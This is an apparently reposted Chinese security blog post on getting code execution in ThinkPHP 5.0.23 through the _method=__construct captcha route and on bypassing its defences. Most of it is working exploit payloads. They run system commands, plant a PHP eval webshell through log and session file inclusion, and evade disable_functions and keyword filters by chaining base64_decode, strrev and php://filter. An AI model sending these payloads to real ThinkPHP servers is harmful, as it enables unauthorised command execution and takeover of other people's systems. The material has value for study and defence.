TP代码执行绕过

admin 2022年6月25日18:15:27评论93 views字数 3427阅读11分25秒阅读模式
TP代码执行绕过
TP代码执行绕过

1 常见利用方式

TP5.0.23 method代码执行,payload

http://localhost:82/public/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[1]=whoami&get[]=1

正常执行命令

TP代码执行绕过

写shell的两种方式,日志包含和session包含

利用日志包含

http://localhost:82/public/index.php?s=captcha


_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202206/22.log&x=phpinfo();


TP代码执行绕过


disable_function禁用了一些函数的利用方式,这里跟着文章走



passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server



2php://filter伪协议


注:下面的session我是用的是phpstudy环境生成的session,没搞定TP生成的session文件

需要先知道前面有多少位,才可以对其进行字符拼凑

使用TP的session包含写shell,因为session的话生成的字符会相比较于日志量少


/public/index.php?s=captcha

_method=__construct&filter[]=thinkSession::set&method=get&get[]=PD9waHAgcGhwaW5mbygpOz8+&server[]=1PD9waHAgcGhwaW5mbygpOz8+=<?php phpinfo();?>



在base64解密的时候是按照4byte一组,生成的base编码正好是4的倍数。


这个是生成的session,在解密的时候虽然只会解密base64加密的内容



think|a:6:{s:24:"PD9waHAgcGhwaW5mbygpOz8+";s:0:"";s:11:"__construct";s:0:"";s:18:"thinkSession::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"837af34ca3576d542c444ca1536a847f";s:11:"verify_time";i:1655990627;}


php在解密base64时,会将<、?、>、;空格等一共7个字符忽略,所以在这里需要将这些字符拼接一下。当然还是4byte一组


PD9waHAgcGhwaW5mbygpOz8+ => <?php phpinfo();?>


abPD9waHAgcGhwaW5mbygpOz8%2ba`这样就是说(ab<?)、(phpp)、(hpin)、(fo())、(;?>a)一组


这里需要将+改为url编码,否则写入之后就是空格

/public/index.php?s=captcha

_method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgcGhwaW5mbygpOz8%2ba&server[]=1_method=__construct&method=get&filter[]=think__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode/resource=D:phpstudy_proExtensionstmptmpsess_ioep6r806n3n5uhb6150go57rp


think|a:6:{s:27:"abPD9waHAgcGhwaW5mbygpOz8+a";s:0:"";s:11:"__construct";s:0:"";s:18:"thinkSession::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"7b47664802dab9bb44f3e1cd410516b3";s:11:"verify_time";i:1655993543;}


包含成功

TP代码执行绕过

日志包含不能使用这种操作,可能是因为每次请求都会留下一些换行特殊字符之类的操作把


就是绕过php://关键字


在TP代码中$filters是一个数组,也就是可以传递多个参数。传递多个filter svalue进行多次处理。

TP代码执行绕过

在这里加了一层解码器,可以成功包含文件

_method=__construct&method=get&filter[]=base64_decode&filter[]=think__include_file&server[]=1&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPUQ6XHBocHN0dWR5X3Byb1xFeHRlbnNpb25zXHRtcFx0bXBcc2Vzc19pb2VwNnI4MDZuM241dWhiNjE1MGdvNTdycA==

TP代码执行绕过

使用二位反转strrev函数

_method=__construct&method=get&filter[]=strrev&filter[]=think__include_file&server[]=1&get[]=pr75og0516bhu5n3n608r6peoi_ssespmtpmtsnoisnetxEorp_ydutsphp:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

TP代码执行绕过

如果还怕绕不过去,加一层base64编码,或者两层base64编码

_method=__construct&method=get&filter[]=base64_decode&filter[]=strrev&filter[]=think__include_file&server[]=1&get[]=cHI3NW9nMDUxNmJodTVuM242MDhyNnBlb2lfc3Nlc1xwbXRccG10XHNub2lzbmV0eEVcb3JwX3lkdXRzcGhwXDpEPWVjcnVvc2VyL2Vkb2NlZC00NmVzYWIudHJldm5vYz1kYWVyL3JldGxpZi8vOnBocA==


TP代码执行绕过

二位反转也可以在读取的时候使用伪协议,但这里只能是二位反转的内容

TP代码执行绕过

再或者使用二位反转+base64编码

TP代码执行绕过

因为php://filter是支持多个过滤器的

_method=__construct&method=get&filter[]=think__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE/resource=D:phpstudy_proExtensionstmptmpsess_fit058580t0ss9d7l81fd9d3ak

TP代码执行绕过

3公众号关注

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅


4渗透测试培训

需要渗透测试培训联系月师傅


TP代码执行绕过


原文始发于微信公众号(moonsec):TP代码执行绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月25日18:15:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TP代码执行绕过https://cn-sec.com/archives/1143645.html

发表评论

匿名网友 填写信息